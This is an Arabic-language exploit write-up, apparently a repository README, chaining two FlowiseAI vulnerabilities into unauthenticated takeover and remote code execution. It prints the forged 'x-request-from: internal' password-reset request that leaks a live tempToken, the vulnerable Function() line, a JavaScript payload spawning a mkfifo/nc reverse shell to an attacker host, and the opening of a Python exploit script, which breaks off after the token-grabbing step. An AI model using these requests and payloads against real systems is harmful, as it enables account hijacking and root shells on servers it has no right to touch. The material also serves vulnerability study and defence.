سلسلة قتل حرجة غير مصادق عليها تؤدي إلى تنفيذ كامل للأوامر عن بُعد (RCE) في FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
استيلاء غير مصادق على الحساب مقترن بتنفيذ تعليمات برمجية عن بُعد ضد FlowiseAI
<= 3.0.5.
اختراق كامل للحاوية في أقل من 5 ثوانٍ، بدون حاجة لأي بيانات اعتماد.
يسار: صفحة تسجيل الدخول لـ FlowiseAI — يمين: شل الجذر عبر CVE-2025-59528 · uid=0(root)
يستغل هذا الكود ثغرتين مستقلتين حرجتين في هجوم واحد آلي بالكامل. لا تضمن أي من الثغرتين وحدها الاختراق الكامل — لكن معًا، تشكلان سلسلة قتل كاملة من عدم وجود بيانات اعتماد إلى شل الجذر داخل حاوية Docker.
[بدون بيانات اعتماد]
│
▼
① استغلال نقطة نهاية forgot-password (لا يتطلب مصادقة)
│ → يستجيب الخادم برمز إعادة تعيين الضحية بنص عادي
▼
② إرسال الرمز إلى نقطة نهاية reset-password
│ → يتحكم المهاجم في كلمة مرور المسؤول
▼
③ تسجيل الدخول + استخراج مفتاح Bearer API
│ → إنشاء جلسة مصادقة كاملة
▼
④ إرسال حمولة JavaScript عبر عقدة customMCP
│ → يقوم الخادم بتقييمها عبر مُنشئ Function()
▼
[شل الجذر داخل حاوية Docker]
ما يجعله بدون تفاعل: لا يتلقى الضحية في أي وقت بريدًا إلكترونيًا، أو يرى تنبيه تسجيل دخول، أو يحدث أي حدث مرئي. الهجوم بالكامل من جهة الخادم.
CVSS 3.1: 9.8 حرج — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المتأثر: FlowiseAI <= 3.0.5 (سحابي + مستضاف ذاتيًا)
التنبيه: GHSA-wgpv-6j63-x5ph
لدى FlowiseAI مفهوم "الطلبات الداخلية" — استدعاءات API بين خدماتها الخاصة — يتم التعرف عليها عبر رأس HTTP x-request-from: internal. تستخدم نقطة النهاية /api/v1/account/forgot-password هذا الرأس لتخطي المصادقة تمامًا وإرجاع رد أكثر تفصيلاً مما سترد به للمتصلين الخارجيين.
المشكلة: لم يتم التحقق من صحة هذا الرأس أو تقييده بأي شكل. يمكن لأي مهاجم على الإنترنت إرساله. عند القيام بذلك، بدلاً من تشغيل بريد إلكتروني لإعادة تعيين كلمة المرور، تستجيب API بسجل المستخدم الكامل — بما في ذلك tempToken حي يمكن استخدامه فورًا لتعيين كلمة مرور جديدة.
عادةً، يبدو تدفق إعادة تعيين كلمة المرور كما يلي:
يطلب المستخدم إعادة تعيين → يُنشئ الخادم رمزًا → يُرسل الرمز عبر البريد الإلكتروني → ينقر المستخدم على الرابط → تتغير كلمة المرور
هنا، يتخطى الخادم خطوة البريد الإلكتروني تمامًا ويضع الرمز مباشرة في نص استجابة HTTP. يلتقط المهاجم الرمز وينتقل فورًا إلى خطوة إعادة التعيين — بدون الحاجة إلى الوصول إلى البريد الإلكتروني.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — كشف سجل المستخدم الكامل{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
ثم يتم إرسال tempToken مباشرة إلى نقطة نهاية إعادة التعيين — بدون تفاعل بريد إلكتروني، بدون CAPTCHA، بدون حد للمعدل.

CVSS 3.1: 10.0 حرج — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
المتأثر: FlowiseAI <= 3.0.5
التنبيه: GHSA-3gcm-f6qx-ff7p
يسمح FlowiseAI للمستخدمين بتعريف عقد MCP (بروتوكول السياق النموذجي) مخصصة مع تكوين الخادم المقدم كسلسلة JSON. داخليًا، تحتاج المنصة إلى تحليل هذا التكوين — وتفعل ذلك باستخدام مُنشئ Function() في JavaScript، والذي يعادل وظيفيًا eval().
تصل سلسلة التكوين إلى نقطة النهاية غير منظفة تمامًا:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — السطر 262
const result = Function('return ' + mcpServerConfig)();
// ↑ إدخال مستخدم غير منقى — تنفيذ جافاسكريبت تعسفي
Function() خطير مثل eval()Function('return ' + code)() يفعل التالي:
code كنصهايمنح هذا المهاجم سياق تنفيذ جافاسكريبت كامل مع الوصول إلى process، require، child_process، وبيئة Node.js runtime بأكملها — وليس صندوق حماية.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← سلسلة يتحكم بها المهاجم
└─ substituteVariablesInString() ← بدون تصفية، يمرر
└─ convertToValidJSONString() ← بدون تصفية، يمرر
└─ Function('return ' + input)() ← ينفذ الكود التعسفي هنا
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
لماذا
mkfifoوليس/dev/tcp؟
الحاوية تشغل/bin/sh، وليس/bin/bash./dev/tcpهو ميزة خاصة بـ bash فقط — غير موجود في أصداف POSIX القياسية. يقومmkfifoبإنشاء أنبوب مسمى يعمل في أي صدفة متوافقة مع POSIX، مما يجعل الشل العكسي محمولاً عبر بيئات الحاوية.
| الخاصية | التفاصيل |
|---|---|
| بدون حاجة لأي بيانات اعتماد | يبدأ المهاجم بدون شيء سوى عنوان IP الهدف |
| بدون تفاعل من الضحية | لا تصيد، لا نقرة، لا هندسة اجتماعية |
| لا يوجد حد للمعدل | نقطة نهاية إعادة التعيين ليس بها اختناق — يمكن فرضها بالقوة إذا لزم الأمر |
| لا يوجد CAPTCHA | تدفق إعادة التعيين ليس به تحقق بشري |
| لا يوجد تأكيد عبر البريد الإلكتروني | تغيير كلمة المرور فوري، صامت، لا رجعة فيه |
| بيئة Node.js كاملة في RCE | child_process، نظام الملفات، الشبكة — لا صندوق حماية |
| يعمل كجذر في Docker | عادة ما يتم تشغيل الحاوية كجذر، وصول كامل لنظام الملفات |
| يؤثر على السحابي والمستضاف ذاتيًا | أي نشر من <= 3.0.5 معرض للخطر |
تم تنظيم الاستغلال في أربع خطوات متسلسلة، كل منها تتوافق مباشرة مع مرحلة من سلسلة القتل.
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]